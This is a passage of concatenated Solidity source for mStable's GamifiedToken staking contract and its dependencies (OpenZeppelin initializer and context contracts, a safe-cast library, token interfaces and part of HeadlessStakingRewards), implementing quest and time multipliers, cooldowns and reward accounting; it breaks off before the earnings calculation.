pragma solidity 0.8.6;
import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import { ContextUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import { SafeCastExtended } from "../../shared/SafeCastExtended.sol";
import { ILockedERC20 } from "./interfaces/ILockedERC20.sol";
import { HeadlessStakingRewards } from "../../rewards/staking/HeadlessStakingRewards.sol";
import { QuestManager } from "./QuestManager.sol";
import "./deps/GamifiedTokenStructs.sol";
/**
* @title GamifiedToken
* @notice GamifiedToken is a non-transferrable ERC20 token that has both a raw balance and a scaled balance.
* Scaled balance is determined by quests a user completes, and the length of time they keep the raw balance wrapped.
* QuestMasters can add new quests for stakers to complete, for which they are rewarded with permanent or seasonal multipliers.
* @author mStable
* @dev Originally forked from openzeppelin-contracts-upgradeable/contracts/token/ERC20/ERC20Upgradeable.sol
* Changes:
* - Removed the transfer, transferFrom, approve fns to make non-transferrable
* - Removed `_allowances` storage
* - Removed `_beforeTokenTransfer` hook
* - Replaced standard uint256 balance with a single struct containing all data from which the scaledBalance can be derived
* - Quest system implemented that tracks a users quest status and applies multipliers for them
**/
abstract contract GamifiedToken is
ILockedERC20,
Initializable,
ContextUpgradeable,
HeadlessStakingRewards
{
/// @notice name of this token (ERC20)
bytes32 private _name;
/// @notice symbol of this token (ERC20)
bytes32 private _symbol;
/// @notice number of decimals of this token (ERC20)
uint8 public constant override decimals = 18;
/// @notice User balance structs containing all data needed to scale balance
mapping(address => Balance) internal _balances;
/// @notice Most recent price coefficients per user
mapping(address => uint256) internal _userPriceCoeff;
/// @notice Quest Manager
QuestManager public immutable questManager;
/// @notice Has variable price
bool public immutable hasPriceCoeff;
/***************************************
INIT
****************************************/
/**
* @param _nexus System nexus
* @param _rewardsToken Token that is being distributed as a reward. eg MTA
* @param _questManager Centralised manager of quests
* @param _hasPriceCoeff true if raw staked amount is multiplied by price coeff to get staked amount. eg BPT Staked Token
*/
constructor(
address _nexus,
address _rewardsToken,
address _questManager,
bool _hasPriceCoeff
) HeadlessStakingRewards(_nexus, _rewardsToken) {
questManager = QuestManager(_questManager);
hasPriceCoeff = _hasPriceCoeff;
}
/**
* @param _nameArg Token name
* @param _symbolArg Token symbol
* @param _rewardsDistributorArg mStable Rewards Distributor
*/
function __GamifiedToken_init(
bytes32 _nameArg,
bytes32 _symbolArg,
address _rewardsDistributorArg
) internal initializer {
__Context_init_unchained();
_name = _nameArg;
_symbol = _symbolArg;
HeadlessStakingRewards._initialize(_rewardsDistributorArg);
}
/**
* @dev Checks that _msgSender is the quest Manager
*/
modifier onlyQuestManager() {
require(_msgSender() == address(questManager), "Not verified");
_;
}
/***************************************
VIEWS
****************************************/
function name() public view override returns (string memory) {
return bytes32ToString(_name);
}
function symbol() public view override returns (string memory) {
return bytes32ToString(_symbol);
}
/**
* @dev Total sum of all scaled balances
* In this instance, leave to the child token.
*/
function totalSupply()
public
view
virtual
override(HeadlessStakingRewards, ILockedERC20)
returns (uint256);
/**
* @dev Simply gets scaled balance
* @return scaled balance for user
*/
function balanceOf(address _account)
public
view
virtual
override(HeadlessStakingRewards, ILockedERC20)
returns (uint256)
{
return _getBalance(_account, _balances[_account]);
}
/**
* @dev Simply gets raw balance
* @return raw balance for user
*/
function rawBalanceOf(address _account) public view returns (uint256, uint256) {
return (_balances[_account].raw, _balances[_account].cooldownUnits);
}
/**
* @dev Scales the balance of a given user by applying multipliers
*/
function _getBalance(address _account, Balance memory _balance)
internal
view
returns (uint256 balance)
{
// e.g. raw = 1000, questMultiplier = 40, timeMultiplier = 30. Cooldown of 60%
// e.g. 1000 * (100 + 40) / 100 = 1400
balance = (_balance.raw * (100 + _balance.questMultiplier)) / 100;
// e.g. 1400 * (100 + 30) / 100 = 1820
balance = (balance * (100 + _balance.timeMultiplier)) / 100;
if (hasPriceCoeff) {
// e.g. 1820 * 16000 / 10000 = 2912
balance = (balance * _userPriceCoeff[_account]) / 10000;
}
}
/**
* @notice Raw staked balance without any multipliers
*/
function balanceData(address _account) external view returns (Balance memory) {
return _balances[_account];
}
/**
* @notice Raw staked balance without any multipliers
*/
function userPriceCoeff(address _account) external view returns (uint256) {
return _userPriceCoeff[_account];
}
/***************************************
QUESTS
****************************************/
/**
* @dev Called by anyone to poke the timestamp of a given account. This allows users to
* effectively 'claim' any new timeMultiplier, but will revert if there is no change there.
*/
function reviewTimestamp(address _account) external {
_reviewWeightedTimestamp(_account);
}
/**
* @dev Adds the multiplier awarded from quest completion to a users data, taking the opportunity
* to check time multipliers etc.
* @param _account Address of user that should be updated
* @param _newMultiplier New Quest Multiplier
*/
function applyQuestMultiplier(address _account, uint8 _newMultiplier)
external
onlyQuestManager
{
require(_account != address(0), "Invalid address");
// 1. Get current balance & update questMultiplier, only if user has a balance
Balance memory oldBalance = _balances[_account];
uint256 oldScaledBalance = _getBalance(_account, oldBalance);
if (oldScaledBalance > 0) {
_applyQuestMultiplier(_account, oldBalance, oldScaledBalance, _newMultiplier);
}
}
/**
* @dev Gets the multiplier awarded for a given weightedTimestamp
* @param _ts WeightedTimestamp of a user
* @return timeMultiplier Ranging from 20 (0.2x) to 60 (0.6x)
*/
function _timeMultiplier(uint32 _ts) internal view returns (uint8 timeMultiplier) {
// If the user has no ts yet, they are not in the system
if (_ts == 0) return 0;
uint256 hodlLength = block.timestamp - _ts;
if (hodlLength < 13 weeks) {
// 0-3 months = 1x
return 0;
} else if (hodlLength < 26 weeks) {
// 3 months = 1.2x
return 20;
} else if (hodlLength < 52 weeks) {
// 6 months = 1.3x
return 30;
} else if (hodlLength < 78 weeks) {
// 12 months = 1.4x
return 40;
} else if (hodlLength < 104 weeks) {
// 18 months = 1.5x
return 50;
} else {
// > 24 months = 1.6x
return 60;
}
}
function _getPriceCoeff() internal virtual returns (uint256) {
return 10000;
}
/***************************************
BALANCE CHANGES
****************************************/
/**
* @dev Adds the multiplier awarded from quest completion to a users data, taking the opportunity
* to check time multiplier.
* @param _account Address of user that should be updated
* @param _newMultiplier New Quest Multiplier
*/
function _applyQuestMultiplier(
address _account,
Balance memory _oldBalance,
uint256 _oldScaledBalance,
uint8 _newMultiplier
) private updateReward(_account) {
// 1. Set the questMultiplier
_balances[_account].questMultiplier = _newMultiplier;
// 2. Take the opportunity to set weighted timestamp, if it changes
_balances[_account].timeMultiplier = _timeMultiplier(_oldBalance.weightedTimestamp);
// 3. Update scaled balance
_settleScaledBalance(_account, _oldScaledBalance);
}
/**
* @dev Entering a cooldown period means a user wishes to withdraw. With this in mind, their balance
* should be reduced until they have shown more commitment to the system
* @param _account Address of user that should be cooled
* @param _units Units to cooldown for
*/
function _enterCooldownPeriod(address _account, uint256 _units)
internal
updateReward(_account)
{
require(_account != address(0), "Invalid address");
// 1. Get current balance
(Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account);
uint88 totalUnits = oldBalance.raw + oldBalance.cooldownUnits;
require(_units > 0 && _units <= totalUnits, "Must choose between 0 and 100%");
// 2. Set weighted timestamp and enter cooldown
_balances[_account].timeMultiplier = _timeMultiplier(oldBalance.weightedTimestamp);
// e.g. 1e18 / 1e16 = 100, 2e16 / 1e16 = 2, 1e15/1e16 = 0
_balances[_account].raw = totalUnits - SafeCastExtended.toUint88(_units);
// 3. Set cooldown data
_balances[_account].cooldownTimestamp = SafeCastExtended.toUint32(block.timestamp);
_balances[_account].cooldownUnits = SafeCastExtended.toUint88(_units);
// 4. Update scaled balance
_settleScaledBalance(_account, oldScaledBalance);
}
/**
* @dev Exiting the cooldown period explicitly resets the users cooldown window and their balance
* @param _account Address of user that should be exited
*/
function _exitCooldownPeriod(address _account) internal updateReward(_account) {
require(_account != address(0), "Invalid address");
// 1. Get current balance
(Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account);
// 2. Set weighted timestamp and exit cooldown
_balances[_account].timeMultiplier = _timeMultiplier(oldBalance.weightedTimestamp);
_balances[_account].raw += oldBalance.cooldownUnits;
// 3. Set cooldown data
_balances[_account].cooldownTimestamp = 0;
_balances[_account].cooldownUnits = 0;
// 4. Update scaled balance
_settleScaledBalance(_account, oldScaledBalance);
}
/**
* @dev Pokes the weightedTimestamp of a given user and checks if it entitles them
* to a better timeMultiplier. If not, it simply reverts as there is nothing to update.
* @param _account Address of user that should be updated
*/
function _reviewWeightedTimestamp(address _account) internal updateReward(_account) {
require(_account != address(0), "Invalid address");
// 1. Get current balance
(Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account);
// 2. Set weighted timestamp, if it changes
uint8 newTimeMultiplier = _timeMultiplier(oldBalance.weightedTimestamp);
require(newTimeMultiplier != oldBalance.timeMultiplier, "Nothing worth poking here");
_balances[_account].timeMultiplier = newTimeMultiplier;
// 3. Update scaled balance
_settleScaledBalance(_account, oldScaledBalance);
}
/**
* @dev Called to mint from raw tokens. Adds raw to a users balance, and then propagates the scaledBalance.
* Importantly, when a user stakes more, their weightedTimestamp is reduced proportionate to their stake.
* @param _account Address of user to credit
* @param _rawAmount Raw amount of tokens staked
* @param _exitCooldown Should we end any cooldown?
*/
function _mintRaw(
address _account,
uint256 _rawAmount,
bool _exitCooldown
) internal updateReward(_account) {
require(_account != address(0), "ERC20: mint to the zero address");
// 1. Get and update current balance
(Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account);
uint88 totalRaw = oldBalance.raw + oldBalance.cooldownUnits;
_balances[_account].raw = oldBalance.raw + SafeCastExtended.toUint88(_rawAmount);
// 2. Exit cooldown if necessary
if (_exitCooldown) {
_balances[_account].raw += oldBalance.cooldownUnits;
_balances[_account].cooldownTimestamp = 0;
_balances[_account].cooldownUnits = 0;
}
// 3. Set weighted timestamp
// i) For new _account, set up weighted timestamp
if (oldBalance.weightedTimestamp == 0) {
_balances[_account].weightedTimestamp = SafeCastExtended.toUint32(block.timestamp);
_mintScaled(_account, _getBalance(_account, _balances[_account]));
return;
}
// ii) For previous minters, recalculate time held
// Calc new weighted timestamp
uint256 oldWeightedSecondsHeld = (block.timestamp - oldBalance.weightedTimestamp) *
totalRaw;
uint256 newSecondsHeld = oldWeightedSecondsHeld / (totalRaw + (_rawAmount / 2));
uint32 newWeightedTs = SafeCastExtended.toUint32(block.timestamp - newSecondsHeld);
_balances[_account].weightedTimestamp = newWeightedTs;
uint8 timeMultiplier = _timeMultiplier(newWeightedTs);
_balances[_account].timeMultiplier = timeMultiplier;
// 3. Update scaled balance
_settleScaledBalance(_account, oldScaledBalance);
}
/**
* @dev Called to burn a given amount of raw tokens.
* @param _account Address of user
* @param _rawAmount Raw amount of tokens to remove
* @param _exitCooldown Exit the cooldown?
* @param _finalise Has recollateralisation happened? If so, everything is cooled down
*/
function _burnRaw(
address _account,
uint256 _rawAmount,
bool _exitCooldown,
bool _finalise
) internal updateReward(_account) {
require(_account != address(0), "ERC20: burn from zero address");
// 1. Get and update current balance
(Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account);
uint256 totalRaw = oldBalance.raw + oldBalance.cooldownUnits;
// 1.1. If _finalise, move everything to cooldown
if (_finalise) {
_balances[_account].raw = 0;
_balances[_account].cooldownUnits = SafeCastExtended.toUint88(totalRaw);
oldBalance.cooldownUnits = SafeCastExtended.toUint88(totalRaw);
}
// 1.2. Update
require(oldBalance.cooldownUnits >= _rawAmount, "ERC20: burn amount > balance");
unchecked {
_balances[_account].cooldownUnits -= SafeCastExtended.toUint88(_rawAmount);
}
// 2. If we are exiting cooldown, reset the balance
if (_exitCooldown) {
_balances[_account].raw += _balances[_account].cooldownUnits;
_balances[_account].cooldownTimestamp = 0;
_balances[_account].cooldownUnits = 0;
}
// 3. Set back scaled time
// e.g. stake 10 for 100 seconds, withdraw 5.
// secondsHeld = (100 - 0) * (10 - 0.625) = 937.5
uint256 secondsHeld = (block.timestamp - oldBalance.weightedTimestamp) *
(totalRaw - (_rawAmount / 8));
// newWeightedTs = 937.5 / 100 = 93.75
uint256 newSecondsHeld = secondsHeld / totalRaw;
uint32 newWeightedTs = SafeCastExtended.toUint32(block.timestamp - newSecondsHeld);
_balances[_account].weightedTimestamp = newWeightedTs;
uint8 timeMultiplier = _timeMultiplier(newWeightedTs);
_balances[_account].timeMultiplier = timeMultiplier;
// 4. Update scaled balance
_settleScaledBalance(_account, oldScaledBalance);
}
/***************************************
PRIVATE
updateReward should already be called by now
****************************************/
/**
* @dev Fetches the balance of a given user, scales it, and also takes the opportunity
* to check if the season has just finished between now and their last action.
* @param _account Address of user to fetch
* @return oldBalance struct containing all balance information
* @return oldScaledBalance scaled balance after applying multipliers
*/
function _prepareOldBalance(address _account)
private
returns (Balance memory oldBalance, uint256 oldScaledBalance)
{
// Get the old balance
oldBalance = _balances[_account];
oldScaledBalance = _getBalance(_account, oldBalance);
// Take the opportunity to check for season finish
_balances[_account].questMultiplier = questManager.checkForSeasonFinish(_account);
if (hasPriceCoeff) {
_userPriceCoeff[_account] = SafeCastExtended.toUint16(_getPriceCoeff());
}
}
/**
* @dev Settles the scaled balance of a given account. The reason this is done here, is because
* in each of the write functions above, there is the chance that a users balance can go down,
* requiring to burn sacled tokens. This could happen at the end of a season when multipliers are slashed.
* This is called after updating all multipliers etc.
* @param _account Address of user that should be updated
* @param _oldScaledBalance Previous scaled balance of the user
*/
function _settleScaledBalance(address _account, uint256 _oldScaledBalance) private {
uint256 newScaledBalance = _getBalance(_account, _balances[_account]);
if (newScaledBalance > _oldScaledBalance) {
_mintScaled(_account, newScaledBalance - _oldScaledBalance);
}
// This can happen if the user moves back a time class, but is unlikely to result in a negative mint
else {
_burnScaled(_account, _oldScaledBalance - newScaledBalance);
}
}
/**
* @dev Propagates the minting of the tokens downwards.
* @param _account Address of user that has minted
* @param _amount Amount of scaled tokens minted
*/
function _mintScaled(address _account, uint256 _amount) private {
emit Transfer(address(0), _account, _amount);
_afterTokenTransfer(address(0), _account, _amount);
}
/**
* @dev Propagates the burning of the tokens downwards.
* @param _account Address of user that has burned
* @param _amount Amount of scaled tokens burned
*/
function _burnScaled(address _account, uint256 _amount) private {
emit Transfer(_account, address(0), _amount);
_afterTokenTransfer(_account, address(0), _amount);
}
/***************************************
HOOKS
****************************************/
/**
* @dev Triggered after a user claims rewards from the HeadlessStakingRewards. Used
* to check for season finish. If it has not, then do not spend gas updating the other vars.
* @param _account Address of user that has burned
*/
function _claimRewardHook(address _account) internal override {
uint8 newMultiplier = questManager.checkForSeasonFinish(_account);
bool priceCoeffChanged = hasPriceCoeff
? _getPriceCoeff() != _userPriceCoeff[_account]
: false;
if (newMultiplier != _balances[_account].questMultiplier || priceCoeffChanged) {
// 1. Get current balance & trigger season finish
uint256 oldScaledBalance = _getBalance(_account, _balances[_account]);
_balances[_account].questMultiplier = newMultiplier;
if (priceCoeffChanged) {
_userPriceCoeff[_account] = SafeCastExtended.toUint16(_getPriceCoeff());
}
// 3. Update scaled balance
_settleScaledBalance(_account, oldScaledBalance);
}
}
/**
* @dev Unchanged from OpenZeppelin. Used in child contracts to react to any balance changes.
*/
function _afterTokenTransfer(
address _from,
address _to,
uint256 _amount
) internal virtual {}
/***************************************
Utils
****************************************/
function bytes32ToString(bytes32 _bytes32) internal pure returns (string memory) {
uint256 i = 0;
while (i < 32 && _bytes32[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
uint256[46] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
interface IGovernanceHook {
function moveVotingPowerHook(
address from,
address to,
uint256 amount
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCastExtended {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint88 from uint256, reverting on
* overflow (when the input is greater than largest uint88).
*
* Counterpart to Solidity's `uint88` operator.
*
* Requirements:
*
* - input must fit into 88 bits
*/
function toUint88(uint256 value) internal pure returns (uint88) {
require(value <= type(uint88).max, "SafeCast: value doesn't fit in 88 bits");
return uint88(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(
value >= type(int128).min && value <= type(int128).max,
"SafeCast: value doesn't fit in 128 bits"
);
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(
value >= type(int64).min && value <= type(int64).max,
"SafeCast: value doesn't fit in 64 bits"
);
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(
value >= type(int32).min && value <= type(int32).max,
"SafeCast: value doesn't fit in 32 bits"
);
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(
value >= type(int16).min && value <= type(int16).max,
"SafeCast: value doesn't fit in 16 bits"
);
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(
value >= type(int8).min && value <= type(int8).max,
"SafeCast: value doesn't fit in 8 bits"
);
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface ILockedERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
// Internal
import { InitializableRewardsDistributionRecipient } from "../InitializableRewardsDistributionRecipient.sol";
import { StableMath } from "../../shared/StableMath.sol";
import { PlatformTokenVendorFactory } from "./PlatformTokenVendorFactory.sol";
import { ContextUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
// Libs
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
/**
* @title HeadlessStakingRewards
* @author mStable
* @notice Rewards stakers of a given LP token with REWARDS_TOKEN, on a pro-rata basis
* @dev Forked from `StakingRewards.sol`
* Changes:
* - `pendingAdditionalReward` added to support accumulation of any extra staking token
* - Removal of `StakingTokenWrapper`, instead, deposits and withdrawals are made in child contract,
* and balances are read from there through the abstract functions
*/
abstract contract HeadlessStakingRewards is
ContextUpgradeable,
InitializableRewardsDistributionRecipient
{
using SafeERC20 for IERC20;
using StableMath for uint256;
/// @notice token the rewards are distributed in. eg MTA
IERC20 public immutable REWARDS_TOKEN;
/// @notice length of each staking period in seconds. 7 days = 604,800; 3 months = 7,862,400
uint256 public constant DURATION = 1 weeks;
/// @notice contract that holds the platform tokens
address public rewardTokenVendor;
struct Data {
/// Timestamp for current period finish
uint32 periodFinish;
/// Last time any user took action
uint32 lastUpdateTime;
/// RewardRate for the rest of the period
uint96 rewardRate;
/// Ever increasing rewardPerToken rate, based on % of total supply
uint96 rewardPerTokenStored;
}
struct UserData {
uint128 rewardPerTokenPaid;
uint128 rewards;
}
Data public globalData;
mapping(address => UserData) public userData;
uint256 public pendingAdditionalReward;
event RewardAdded(uint256 reward);
event RewardPaid(address indexed user, address indexed to, uint256 reward);
/**
* @param _nexus mStable system Nexus address
* @param _rewardsToken first token that is being distributed as a reward. eg MTA
*/
constructor(address _nexus, address _rewardsToken)
InitializableRewardsDistributionRecipient(_nexus)
{
REWARDS_TOKEN = IERC20(_rewardsToken);
}
/**
* @dev Initialization function for upgradable proxy contract.
* This function should be called via Proxy just after contract deployment.
* To avoid variable shadowing appended `Arg` after arguments name.
* @param _rewardsDistributorArg mStable Reward Distributor contract address
*/
function _initialize(address _rewardsDistributorArg) internal virtual override {
InitializableRewardsDistributionRecipient._initialize(_rewardsDistributorArg);
rewardTokenVendor = PlatformTokenVendorFactory.create(REWARDS_TOKEN);
}
/** @dev Updates the reward for a given address, before executing function */
modifier updateReward(address _account) {
_updateReward(_account);
_;
}
function _updateReward(address _account) internal {
// Setting of global vars
(uint256 newRewardPerToken, uint256 lastApplicableTime) = _rewardPerToken();
// If statement protects against loss in initialisation case
if (newRewardPerToken > 0) {
globalData.rewardPerTokenStored = SafeCast.toUint96(newRewardPerToken);
globalData.lastUpdateTime = SafeCast.toUint32(lastApplicableTime);
// Setting of personal vars based on new globals
if (_account != address(0)) {
userData[_account] = UserData({
rewardPerTokenPaid: SafeCast.toUint128(newRewardPerToken),
rewards: SafeCast.toUint128(_earned(_account, newRewardPerToken))
});
}
}
}
/***************************************
ACTIONS
****************************************/
/**
* @dev Claims outstanding rewards for the sender.
* First updates outstanding reward allocation and then transfers.
*/
function claimReward(address _to) public {
_claimReward(_to);
}
/**
* @dev Claims outstanding rewards for the sender.
* First updates outstanding reward allocation and then transfers.
*/
function claimReward() public {
_claimReward(_msgSender());
}
function _claimReward(address _to) internal updateReward(_msgSender()) {
uint128 reward = userData[_msgSender()].rewards;
if (reward > 0) {
userData[_msgSender()].rewards = 0;
REWARDS_TOKEN.safeTransferFrom(rewardTokenVendor, _to, reward);
emit RewardPaid(_msgSender(), _to, reward);
}
_claimRewardHook(_msgSender());
}
/***************************************
GETTERS
****************************************/
/**
* @dev Gets the RewardsToken
*/
function getRewardToken() external view override returns (IERC20) {
return REWARDS_TOKEN;
}
/**
* @dev Gets the last applicable timestamp for this reward period
*/
function lastTimeRewardApplicable() public view returns (uint256) {
return StableMath.min(block.timestamp, globalData.periodFinish);
}
/**
* @dev Calculates the amount of unclaimed rewards per token since last update,
* and sums with stored to give the new cumulative reward per token
* @return 'Reward' per staked token
*/
function rewardPerToken() public view returns (uint256) {
(uint256 rewardPerToken_, ) = _rewardPerToken();
return rewardPerToken_;
}
function _rewardPerToken()
internal
view
returns (uint256 rewardPerToken_, uint256 lastTimeRewardApplicable_)
{
uint256 lastApplicableTime = lastTimeRewardApplicable(); // + 1 SLOAD
Data memory data = globalData;
uint256 timeDelta = lastApplicableTime - data.lastUpdateTime; // + 1 SLOAD
// If this has been called twice in the same block, shortcircuit to reduce gas
if (timeDelta == 0) {
return (data.rewardPerTokenStored, lastApplicableTime);
}
// new reward units to distribute = rewardRate * timeSinceLastUpdate
uint256 rewardUnitsToDistribute = data.rewardRate * timeDelta; // + 1 SLOAD
uint256 supply = totalSupply(); // + 1 SLOAD
// If there is no StakingToken liquidity, avoid div(0)
// If there is nothing to distribute, short circuit
if (supply == 0 || rewardUnitsToDistribute == 0) {
return (data.rewardPerTokenStored, lastApplicableTime);
}
// new reward units per token = (rewardUnitsToDistribute * 1e18) / totalTokens
uint256 unitsToDistributePerToken = rewardUnitsToDistribute.divPrecisely(supply);
// return summed rate
return (data.rewardPerTokenStored + unitsToDistributePerToken, lastApplicableTime); // + 1 SLOAD
}
/**
* @dev Calculates the amount of unclaimed rewards a user has earned
* @param _account User address
* @return Total reward amount earned
*/
